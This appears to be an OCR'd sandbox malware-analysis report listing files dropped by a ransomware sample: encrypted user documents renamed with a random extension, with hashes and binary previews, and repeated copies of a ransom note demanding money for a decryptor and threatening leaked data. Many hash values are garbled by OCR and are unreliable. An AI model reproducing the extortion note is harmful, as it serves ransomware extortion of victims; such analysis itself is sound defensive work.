. J5..%.sT:. Eq..4<..... K..p..2.D.Z:Z.%E =f. ...~ YD.U..n>..1u;..(L..[...99...2Z./.D... #H.5s.. 82#.#+.. {.h.-...0P.U.B~.....P.+R..JA..0.0.....,...2. AC.6]..2...._.w.bL...Z..
$.0. CjS.. Vet <ZK. 7L # s+ )} 9..%.B L ko= hZP L LyL 8. )UjQ. C Ll LBV+ @K, UN........cb.e. }.T...bpG*..FC.1%..12\...r.0]M...k%.C.P5. . .s2
A E...L3E*o.sM......f.h....a.%....r..uX.S#[..X7.l...g..2
Ll Xl 9FLGRuGL -0 Ay ClM 0. 80 nALL p>.LlvB

C:\Users\user\Desktop\LSBIHQFDVT\PWCCAWLGRE.png.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.838465431962275

false
24:L.TZP2z/SAzAGd2shXJgnJIMDecxyZ/sabbiatoows/R1fvgVUKNPN:LTY/F7d2shSdwZsaATs/jgUkNPn
85A1D1F6D09518CC8528CBAEC449B7EE

A772A41D13F9A37BC2EB81AFF3C6848A720CC0OD2
98FFB8730BO9AABE4E6204ACECFIA5900059AD25FDDAAL7AL9ES57259F4B91F78
3B28662421F987532579BCBIBFC7D97B127D8693063E21E6E38A254326D9884FE2978C8350D6EC0A10B95D977B6823F0A014219F9613AAB327BF3B5BBE3726AC

false
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C:\Users\user\Desktop\LSBIHQFDVT\PWCCAWLGRE.png.kVuoJyeoW

Preview:

X..1*.xg.n..u.-....&vK.Ti ...c!00.B:q.99..FTkB......C....?2.-.1..b..<B...@".X*J..+U........... S5m{.>&. . X......n...VwR..+.*.a..";..C.I .. .K?pY.3.4.zyl."..q..(\>. xz.Mm.l..S..
o|..*s.sezx AL 2.-Sa.@..s.) Y\ LML UKLy A LLdXG.L (). . QML @ 0. -FLGLFQL D (WS A...gVe.." 2t W V.. Li.P>Ly >9y. L AL V[LUVRNL.L
B.F.8..8MY.[\.c~8L.t~W.#r..I..Ug..DN......E..... K....... Ib....B.8."y...d..c..(p,.U....... ,.%.72.7.%$..AN..D.M.CE$....P...[._.y..8...d"%.k../].z...U>C...&.i.v?A.T..u.Ma
L75...D..WLGV..D...+-v.j. A l*m....%6..A8.iz?.......0... X.....H...r.y..x..ej..H<.L.5a.5.s.,..L+?..X.%...>N.....F....%mY .x...
coyete.8.0W. b TLWNFLLL..<.G_4AX..q.A..g..OC.......;.Yd...bVCL1.

C:\Users\luser\Desktop\LSBIHQFDVT\QCFWYSKMHA.jpg.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.808615242828143

false
24:Z6aXxp+SIQNru+2Gg9s6IbLQUbHIN2hj2CpCOz7NEkkcwh:2SOu+2Gg9XUIhR7NEkK6h
99F9E3E7C1E9BD48F902D99D72C13BB4
7BE2469968C92F9874EDOCACBE84F9358367CFEF
D6FF01A7CE9B18B29524080AB4AF642297AF8CF2070D784A3A1AAF9994815B6A

D3AAB80309DC727BBCDB0178374D5AF1FBDD77E80BCD5A2942A4C038944C9021E5107E526FCBAB4181F11D444704EDB7D6E7CF6396249072D1449D9FC56A7C
3

false
Q4 W pe~JH.0aT | T.[hY...@t(.n..6.X]9q..]......c.(XA....... ..U S GN.<R...T<d.Yw.....h.Ri..Q.N].9.L........... Ppc.g.h....l...&. ... JBE =....... 0...-3....0.(T.x
+g..x8K.V.l..,...50z.x.(../.K.(1".D.Y ..e.gM.=.a.z.0......dO.. LGNLLLmot~Bl9.o #NnZ....... 5.8i..;N.".h...".%./.$R. X.28H..."... G.(q..yB?2.)..~3P.."} . Z .

cen U {240 L[-6XINL) UYLV [MXZ. e ;QUUNLPLLY.p6.. <= 20 & FE LU GU4, gL 4) . KLUYFLKL@). e X &84 LL3VLdL LA LLLLLBL
N.}y.=..%e.KP3q.{W...._x..E.kM|Sw..Vu-"c.X|.E.\.g.i.).=0......Y9....)Y...a{6+.(.Uw.Q...U..f.._4.K....... 1..3'R..u.D.)...2..|.5.LLo.n\. )9 < [F.c.{..0>IZ.m..j.t..
zf5 bINL YT P#].Y."B...0.n.-2(]..... f. =W >5.J=RA.C*3.. #....c..@..-..v....3..5.=<.<XV.0.y..8.T...{..uW5..V...>#}..@....F.gh

C:\Users\luser\Desktop\LSBIHQFDVT\SUAVTZKNFL.mp3.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.848552547997476

false
24:+CjrOCfUGaGK3fiwusIq7SjzD5ivd3vO2G+zgnFHI7h3FhwjPICUJYHFN/x02W2B:+CjaCfUVGK3fiwplq74+fZG+zgbhMjAg
8A2EB1D252854A3D1A5DEF2D233B454D

981F74D032FA7EE90D95CBADD5112F3ABOD86A99
9DBA97FCF55726A47BOAF4ESDFF6CDF3FD3E71316E6212B2C95A05C486DE27D2
15241EFOB6E504F2EC208E91D936B2049F2353BCAC5CECE8963F4E2348A8544F03E08CC2B89D29B3D42B0B7283956BADB84DB0D571F54C3859C122EF86FEQLL

false

3r...y.N.DZJ7A...d...[ K.....$E...J...c.... AP..G.t.Q..6..3d.0. . J.mAN 2. a Kk .L'{s.n.4.cd..c..I;..}...0%p. Z......19%t.5.v..35....F j....h...q...;a..L.J.F}.mQ.A.G-. VB.VB.V.A..
S....:~.%....0..C.qY..M7...-e jHkc+w..r..@....!... ]...n....Q3......5..jt.c.M...+Y.51.B)......... ... Zt$2B...2..0...../...D,,...; *&'+..Co....\2U.....X}.D..D$y../.(..la=]...6}@6....0.....
BN(@. U X T B NY s CVov it JUXNW.Z.Co>N._ (... 0L LR.£,0.V. X~ 1" 2. .Rd...~. \%R.+..B..R6....~..4W\..2 X.......IQ)..iIM.8.MV...Z.V.....p...(.@$..%.
Xoo& M Q.2Cu Gl VZo Q) CALY =.U.i~.n..eNLJS0 X VO ALS.N.. M. .h...62..RG_O...9..z.c.d..b....~0}..5.9.0."...5..D.~t .CeA..<.......

H..UOV.K5.:C.#>N...1..Ib..Sd..x:.. }...P.H.Aw..X...(.0._M81L.a;'= yK....7...h0.xI.D..E...On...e K.V..£.2.Y. . {K/.U.2..+.LV.LF...T.....<mp...

C:\Users\user\Desktop\LSBIHQFDVT\ZQIXMVQGAH.xIsx.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.839622960474395

false
24:+ZVz6Ug6nnXeDWIle7caANzarj3ievjioM+50+GcIp5SH+RQBBEL5UXt1uPYCDOfF:GVWNHKICINiWG0zS+pVmb5UXVUOTK8
5A9E640E87301E65EF9127BD729838ED

DOB167CBC557F9E7DF655C063652E14F0C3861C7
B449CACD6598B2FE4DC46E947394E065C089B43F22C3BE8573F30A5DADD65D90
AE3691EA936516658990717BF11617EA557E7DC8DE2FCOESE9BDDEF4A82667803CB817A74602C719FD910A42ACF1B864862653AFB55366D5EBIDF6ADA42A4385

false

P.Q.t..|z..-.h . .C.6.{+Z . .t.@™".?Y...8w<..h.;f.8{AV..[<.29.0.8y5V.... 5.wa...*z..eP...Z0.S.....2.G.y..m..o\..[[Bu...> . X...}..Y..0..a..FT..U..g.V.._y5.V./
e.?MS..$..b.M..I[...... $P. 0"1b.?..,h.;MV........ P..t.X.Xi.Q2.D.tP....E.[j.9.&N"..U. AJEm.s]../.#....M...@...v.hb-W...w.....Y..NY.|.3....F.6Z....P.(#<".m...1..TI.. AL
ST PR mO&..k..3Z. k.....f...9.5.0..].3..|..@1V..;37y-/.~..?2g2 k. k... {m..X....&...K.."..;..%U..<QnfF=W.n*..\.a...b..!l.1pa~....... DILxX..bt....Q.cccveere W W UL UQL L ELIS
LA.J...,..0..M0]..0g..u.#0..b..dy...6.R@c.|...<@.0g...$A.QP..M.:~%.62l..N...2Q:e@.L.sE{..88;.T...zm..}JE...B.L..|]a....-.....y0..0."M...T}.@2......F..q@. X...s....G..,.....2
LHSU G #+CLL LI~ td Ly .0.Q... .2.16..).D2.5..j..N.."?..b.. X.VG..T...(k.F.P). A .Ejl...@8"8...5.$N..7.1.8¢..d.N#7 |..\.e... HbB.L*P...Y.m.L......\p,.8

Process:

C:\Users\user\Desktop\GILHM7paoZ.exe
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1I:V4IAnNAZ0o66uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

true

~+ . * +.. ' BLACK l. 0 - . -0- . =\ ] . =l | .

\ o= oL L'E_=E s Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\luser\Desktop\NWCXBPIUYI\kVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP11:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1A5B722CAD2
4

false

~+ . * +.. ' BLACK l. (0 == -o0- . =\ . =l .

\ o=, o LE_E=TE L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Desktop\PALRGUCVEH.png.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.8336856288207155

false
24:cNuYJBhBXxPN5iZoY2Sr6qsih2708v2iKPHI9zTMG322HXfvv11elLzbNkD:03JBHtDY5mqs/RvV5QJIR7X/IMLtkD
11FEA8C3F70559E31960EE1A629DC676

628F9C8461C34EFF9310842DD550D12971EDA7EC
D05C88C85CCE4C659FA2AC5521D1B8E9E4F931CFB1BC8C541E35F69F11120C55

AC642AFDAB90CC27707EEC25441F8C692F1EB7DD2C1A08DBD7F22BE202187477FE8F142813CF05370D5A5DAE658F5FAD56517CE8972C59DB0O9E99F59968EFA
5

false

A< dZ)2\W.ee. 2[00 G  V.EAU. X330 200 O fo W2..J. KW........2... .NKO........ DOPW......Frl'gp.ABT........8.(@cccii 1. 3.7W.60G.~1d..( Y P
Jed N £ W26, 80 @ X060, VW(.2...C&*= . 8&.T.B.A_.. 2H. E.j..uv..f.\, 0. LW, "V#0'. I k.b.>...m.de{.. UZ..._Q...i.~RI<.i._.}hw...C...cv..fW.h=_8....qW7..
oot le[C. .. MT)i:Q.C..3,G.... A.0.4}.25.S.. >&. 3.t...Z.P_1.{W..T.....XVIV.>].". (@\IU.B..J.17..%.4. H.5.q...n.*b7..c.>..QUIe."....

C:\Users\user\Desktop\PIVFAGEAAV\kVuoJyeoW.README.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Users\user\Desktop\GILHM7paoZ.exe
ASCII text, with CRLF line terminators
dropped

1548

4.479946811569468

false
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C:\Users\user\Desktop\PIVFAGEAAV\kVuoJyeoW.README.txt

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1l:V4IAnNAZ0o66uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

~+ . * +.. ' BLACK l. () -=""= -o0- . =\ ] . | .

\ o= oL L'E_=E R+ Matter +. O * Y >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Desktop\PWCCAWLGRE.mp3.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.829231990969893

false
24:0zE1i4P48u59ttzZ8CDwzt4agiR31lasGZ2W8sm2W2aygegi:0zE1nQz/th8CotbligZ2FMJgi
5911D31F5B07154E0BE25ABBA221D5B1
EEB5C5E57EC7F7CB8F06D0C157EAD1F31E0CC76C
828C53E4F241991E70913BF2AD644348AAABDOF1962CD5561FACCC6EAC877B05
3DD6F49760CAC96203276140A1B71E907B7E3494A45B4FF61DA29D0DB4EC73D69D41A7D6F7CC72339017253AED3054C586108B26CDEB2B708279E7D1F6FICEL

false

LY. AFULX...mID. " 2. h{R..W.A0l.H.>..3U..cHy..W._...EZ..ELzi..l.......]S...
M..G.J.B..0...C6U..H.Pue..~V...NON..I[.d$.A..M..h.]_tl...,8Vn..l.dN.5..4..0."..g6..

.1.8[...7V.mA.Z. 5#".. . w+
e V7KLY LPLS.L B PLSL 6 L Y UL ZL LU AGVIL L XS 9. {HLL L fk......&.....[?;,el[(8.2T. 76,.8@.s=EzCT........ )'pa.d..r.....z..}p.2Y_Am.0..5s5....Y.&
.L.3.N"H..XQL..@.b.N.UH....Qm.......& Kk9...v(.z.G..70D f.......... .U.4.Q...D.0..V.5Luw..oMm...S/+.\(.,.&;A=b*3)(....}.."..7.".J@.D....q..M.x.#...\V.e..7....* .. B&..d..f
3......CKk(.9.Gr....]} .v.N3..R_#[$.+m.#.Fk.-/...RN..G..8..f...<...M..cTN.....>0<.si.y./..[.*.J..[4w.jG..Ql...0J.%)]...a.].3.... T3.KTU.%<W.S...A...u%)V.n...a%.j...0.%.us....Z....}zm!..

C:\Users\user\Desktop\QCFWYSKMHA.docx.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.8191043054972305

false
24:un2BOgBES2NFOD2yZDDON5PaMfDVZ6FYwkKGrvAQEfymED1SBDydGBI2:6e0g6S8F62PtLVUFYWPJQEHO1eyIBI2
022AA5994FFC39A2B6F1EABDE6CAFBAL

4752D51AA915B07716B87BD6FABAB5B2421F263B
51F5818B5F118D52B61D9171D7B8762D32F74CCDE6CEB6BF4D6C872C7A0A956D
DB8D89921C00D35CD9284533687C152D6B7983C1C72781723333166F506F808972FCOE97205B2ECD445E365859B0C6AB7EC6BF7F8602B843524FAA19FEODG2C2

false

p'N......B9.=BV....e.{..A
$..B...@.%g"6.". .{..R.......LhI.RCal....6)...."~...dRs..
St A3#.N..d#..0l.Kb....h.. TO...jLndw....f.M"....

C:\Users\user\Desktop\QCFWYSKMHA.png.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.804447930199076

false
24:yCP09V7bTMOTqdaYPsLtyUKASwmpFUKNEhdAKIWTEXIQBFO1jK4yGrD:xefTbMzPsLtIZFUxTzkOtN/
A7607379B70E86AA97ECF88583B2E1BE

1A0138439F3CAC07502294705C5B11D3E347BESC
BB6BA51B5A88C4C8503AC7851EFOF369F8196C0C6AA1625336189F0CEA4CB13B

3C7DD336C482D859C6E484E592DBACEB221D249FC531FD225C1B883FC91C6E8030806EE6EEE926BF6BCCA3AA402B82E78290E9FB36017773E4FD719A96A162,
2

false
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C:\Users\user\Desktop\QCFWYSKMHA.png.kVuoJyeoW

Preview:
[9*.>.sgE0. ... XSl _ UM P Z..S9W'Kd......R.Q.]3.7<|6V6\._...3..JS.Kd...%....#..j..-. Rk .W.V.E..T.8P4....7d.9%...2..<4.20.....,.D.;h-\.C....."..0.C..i.. W.#..
5.......0.5,....7Jm&.%....0Q..re..0OD@.........$6.C{Y8n....5...2.6..,..mKU..CQ..w....H.8T...P..b.$].S-..Is....z_.......L.fi[L.ng..3...$.n..3.)Q......<.=<..n)Z.<...3p.P+....... e..DD>..0
S a..W...x8.1j)..N.Y.A.b.k."y..9.a.Q6..._.......... b./k.Xk."........U..... .. 6....MLV.@%G..h.e....a"G..|.Ca.NS5]........... L, 7"h-" 0 r X U@ <.....e. XSz = 5L HL
G2y.Hy.N..,u... .SF.H=..uV.9..Y./f..<.f<..... "(-j2.... X.MU}K.>h_.q.}&B{.._..’k.i.S.$.G..<X.={..2U........ }..J.3E...E... P.?5\w.(z.k.F.B.U...\3..i7..c...01~.GS&|5D.<..[....s6..
5..km|O..r."B3..?2...n..J...pAYT.x..ZC..2.2X..>[3...X..7..B... XC. k.....8-y.a."...=P?i.F.R..."%..[.7d.&=.T+.....y...V.WX..?.,..9S.-..h. . }.....,.. #...T.F

C:\Users\luser\Desktop\QCFWYSKMHA.xlIsx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.8428016198884425

Encrypted: false

SSDEEP: 24:40Q1IJUNUTRejg+R+eVzcLOQ+2iYbDLx/5qDs7iFPfSI2ke5YWWQa:IQ10ROR+eVWLOQ+rYTxMD5kJReYZQa

MDS5: E4259A69DE99941F16FBBC6C4DE14327

SHA1L: 551AAF65D0A66C203988871CCOCA9C044791A7D3

SHA-256: 8E50DDF2E9202B930DCAF7209AB8FE6ECC66E02640531085B5BC80BD34A8A8834

SHA-512: C61B264C645FB551D3B2148F9EAB819E83D0E4058C422644C39EFE7788712A19E97B5DBD387677D8C47EB8188F59130F3C4FE91FAB032468968EA84FAD5CB813(
Malicious: false

Preview:

S )een 7.0 88.NFjJNP\..;...2.9%8.i.N.I6.{....5.... Or.....1.))...d86.I..Ibq.f.Y:..1>.$.....5&.8.7p...~'Ha.l.vU...gV....~.g.IU,.%....A.Nx.0C....t... . }e{..0.FflUM....x."C...&L...
K#< M#..\W.Ip/...*..G./l.{HJy"q..A&.u.h...C..<.Cq...0._d..@0..$..H..-...toF.u..HQSZ..9C.J.;. w9."qDy..\.a*...Hk....y...A.<..9..9..dOD.1..u..KY/K..W,..f.M*..v6.....,b2IU...L.

g."k..PIT..m.m..g[...gl".2..(.J:.L.m............ K =WQuo (< {NLFZ..ir > e...7.)a.?y810....e..) k..0..Q%..*R....'w..8....N...... P..j...V..U.jp.
T..JdN.....]9~p.rv...t...91...D6#IU.u.X..W.x.e........C.t[D.(e.R...j(.p.. .LN.Wip..S....K.qT!2..@....1D...BI.T#S .L-A......-....2....# .} .Nw. Jt.9.L..FR]..67g...9B\..u...lf....Iq..[
"JUA.e...fK8.DM._K{N.f.P.e...$hn.".m0%.s...i)...D.}.._.-.3%.8.9&8.....3Y...zw]am..\* .. ...-m4 . . W.@Y.]<.A=.x-2r..(.X.P.. a<

C:\Users\luser\Desktop\QCFWYSKMHA\BNAGMGSPLO.xIsx.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.834355660757486

Encrypted: false

SSDEEP: 24:HoPhgAtOQTArAPklvMHBeK+y21mJR30/htql2GfYrNPImYBAYdDHfHWg4r+FHYDH:HoPh50QMrAeGom/CqlhYr5YpjKcHm1

MD5: 0461648D77954746C274E631D59B8062

SHAL: 2950711C8D33F7CBA4B674484D40711257FFB3F4

SHA-256: 94800AE933CDCOACDDA6133F0D341DDF7F511BAAASF1BAS513DBE946112429BDA

SHA-512: 8581DD7438B840D0BSEB6ASAEOLIFBAB5C6589C2AAC2689A6DIEECE2B7B80DB504253513F1064F910F3AD6146C2CEEEG88E8AA7C1765033C62EEF805855ABEL
OF

Malicious: false

Preview:

AM.TEH=. LKM......1.<:...l.Q.I5F#..%..8 €'.CAb.......e....._\+1.2.X...H..Q2%..| ._n.".:..;Mey~K{L.0........0..) = V.]... Vo CooGrrrrronn K BVE = Zoroim ] LT 7 V=
T.06.R.M.U...vVAZ.1.Q....X?GQz1rO.E..5..A.4R...9.." L88...G..I..S....EW.W*R..4W..D/b....A3.Z..JX.a.J....]9...c$.m.LE2mD..5/... yb"... .@P..\.{....... A..K.MBH..Z"_..
.p.zz...].9.Ekd,E.M.9......1G../C.M..N....L.0..L6IC."..YZI.K....+.KF YA KT \jz kN (6. 0. ANIO.Wa.B}.}..1..2.1.9..y....7...8..%.
18" ALL98.QX......d.6..8).(.dQh.. K g...{N.....V..._...gh=*..e...._#.=..£.20.2. .. F.<55.C...d.e%.fIW. 3....X../[p.q3.J.C.3-,...Q..J4....-0.C .....& H..)"..@

0.#N.....iu..].pO..."R.K..h5...l.m.1O....Wej-.4.;.9:....q.u6bf....Z......... j.gk.g.H.m..T.j.F.i.0.(.Oa/+W.q.. W....(.u.D.IWA.Z."........c.or.\.

C:\Users\luser\Desktop\QCFWYSKMHA\DUUDTUBZFW.jpg.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.84490292116077

Encrypted: false

SSDEEP: 24:grnN8EbS+VDPc4ChN15+liqyc/LOmMNfAIdyHDMadBPA1c3ZrU:ONF+Sc4Chexm1AicHDMadB+J

MD5: 8E4555884FC63A1FD1A58050775CF349

SHAL: A1D92800037A5B64507351BCOF039EB5858E59C6

SHA-256: A850CD59AC8DEBFBD97009F446D00FE083A0CBCBD267F4F22C3D30E282A628D1

SHA-512: 707546C3C87ED31D8FOACABAE7FI933C6BF74D681BABF1BFA65CI99FDE4446CE90599C137AC213C072AA82A5BDFBDCA30965CEF64AFFODEO1IAOE2ADSABBELL
BB82

Malicious: false

Preview:

[ww...m>...1.<...=3">..<Kg.L...@........... C.*... X...."g0.#..Q..y/.Y8....Ccoovenn 8..A].+c.m..Z=J.e....Oh\.&qY..i.... k../,VL ..:k...10..5|..B...B...aY..."Ey.[..g....0.W?
R.i...&,Tq@....E.T....dsp.&S.iv..Y. . +.q._...._..+....{M7..C...d..t.xL.s[$R.Q.I...f9.l...>\_.iErKe......|O.R)..0.L...as.z.E<..r.x..Hb.y:F..F%...K....n...y.k.w...-.N@{.
.......... Y/.U6\e._....%\F. F.&....0a..

.C5...m)...r. b X U 9.0 b)=. U.._V...n...>g....8..at<. xtOw.z.....T..4.p...Z&Sva.l_...U.1X.r%...s/k....._<.7..$W..0.K..
<8C.4.n_z....Z..c.?2.2.p...Q.U..>";}0b+)0M..~..v..Gti+...)3....b..R..%...f. X;.U.,...h...wA....L.r.-.N...t}.i.=.0.....,...Y.Td.@......*.bp.

C:\Users\user\Desktop\QCFWYSKMHA\EFOYFBOLXA.pdf.kVuoJyeoW
Process: C:\Users\user\Desktop\GILHM7paoZ.exe
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C:\Users\user\Desktop\QCFWYSKMHA\EFOYFBOLXA.pdf.kVuoJyeoW

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

data

dropped

1158

7.822304803110229

false

24:B0209n+40L7s0ZjaBvIW6tF6acY 13V8PCJIG/VC3PY SEIkWoBL2nwh3wF/c8XbPI:Bwn4pZGWKKMiPC8EfY Se6uwh30BZ

EE4A78511DF8E67FED94F48EC99A812D

C489A882FA8662224E444A5B7B0034639C7D3F78

B56AF0A95240D2ECC74931870A927602D4BF7C7873CB8F53F1AEF544257282DE
24E01027A745BA7E02A9524A878F0E4A354B1590E5A0B3510B9179B5D41C267A1E81FBE6F58E3D14580CE15849038C3DD39C921BEF7A1930B68BEOSD48CE4CA!

false

L.~..5u\l..<wm7.We...Z...V..cv.4[L{?..[E.9...C... KV.n..&>..... &{|YBR...<x.)}.H"]..H..P....|].wDo...J..C...l...e....i..p.U......<Y6....$.".Dctd....[l....A....Fug.=. @.,..7C$ .....
_Mly3is.gan 0¥\ =l ?a ] @K #n L W HELSLG GM......... 4. HU'..G..2@s..(nT.xf...u...]..&\.S....3k.p.-"...... @MVI K[...].A.Py.&..iuBP5P.;:0..X.M._.s!...
.mJ..D....@.(k.)...6.cIX.].B..4

C:\Users\luser\Desktop\QCFWYSKMHA\EWZCVGNOWT.png.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.828245516025254

false
24:QMtjmrBV/VOFI4TPu56kDxg8dCF2IC/MSXrta2VMObNsuEmemp:LtODOFbT7kI8dnXxvVbRp
D9ESD85FF2116C8E3ABBF8C08831DC85
64994F8256EFB390A99371ACB88D4000D8D330E5
FD9726CB3FFOAEA056AD607AAA50178A53A622FD3B05795A25EA44022074A886
48FD2427F70809EE6E511D6A637B7B89339FCI0F6D704DB429DD06C1E7F448C9526EO0DBA215293148B4A7D376D738A0A6511A3F305A71EF8236A20CODCBIBDS

false

<l..M.?2."Ed.?2..s...0 ... 6...z ..te.<.N.c[..N.Y..gR LATLYVLpBL Xk LT3~ LN
. W$%;\.g.H.GE.<./$X.>|8m_...[.BPpJ.Km..#}..h.$...,,.EIm.7.v0.]..(.fyS...v.8V; *..<IL..?.@i....D.M6..NIS...9...eX . }.m..T...5.W...C.pW.L).3.d..f4'"..N8
....}GI2yi.]..cAn..ulp 5.2nS".n..86.....y..z. \....9.j..... T.=.A.TB.Z. .u..dV.hEIT.LW..,P..IrJy..|X..)7..m.0R...".p.... " K.FM....3r....P..%..-3.$...vB.1.)..{"q....S..v.7.0).Ef....).).0..
XozH.w. . J}> 120 ...2%.... ArENLu 0.XL.%.*........ W..Fc7...;.{F....... t.oVv).C.@........ i3.8...{ .W.L.(.HOb22S.... s+.5...1...0.0..Z|@...-...l..n.x..7.
h$.~-. {3,;)Vq.._<*.'x~M..g..".L.n..... u. JE...#.|.{8...rs.U..~w.WE.hq.J.H.. X~wM.1.@..d..n".B"...LP.e6 ..w.s..1z.B.Z..4.d..G"..*.

C:\Users\user\Desktop\QCFWYSKMHA\JDDHMPCDUJ.mp3.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.829557489276598

false
24:QbD7lkHmvoaroCp66RtowFri4Yd8IAFXaZcNZLO9GWX+J6QjuSrmOv:jkHIB36stowJodgAFXpZLOdO6QImOv
AEO00A9A06555CCO65FCCD246D7F07BCB

93C9468ACF6525B276B524348B8F924325B81F36
D311A84E1076FE7313AB1A1EA47278A9AB2696689DADC73927010BB49037E9B5

A93FCDF2397A71310B451A4A1F5A1176DFEC6215B94AAB4B2E18939C8914AD44003EAO0CS5AD2A6DABBEBC7DAAFF7AS6E2AD3B21A9A2926725F6222A56A40F74
73

false

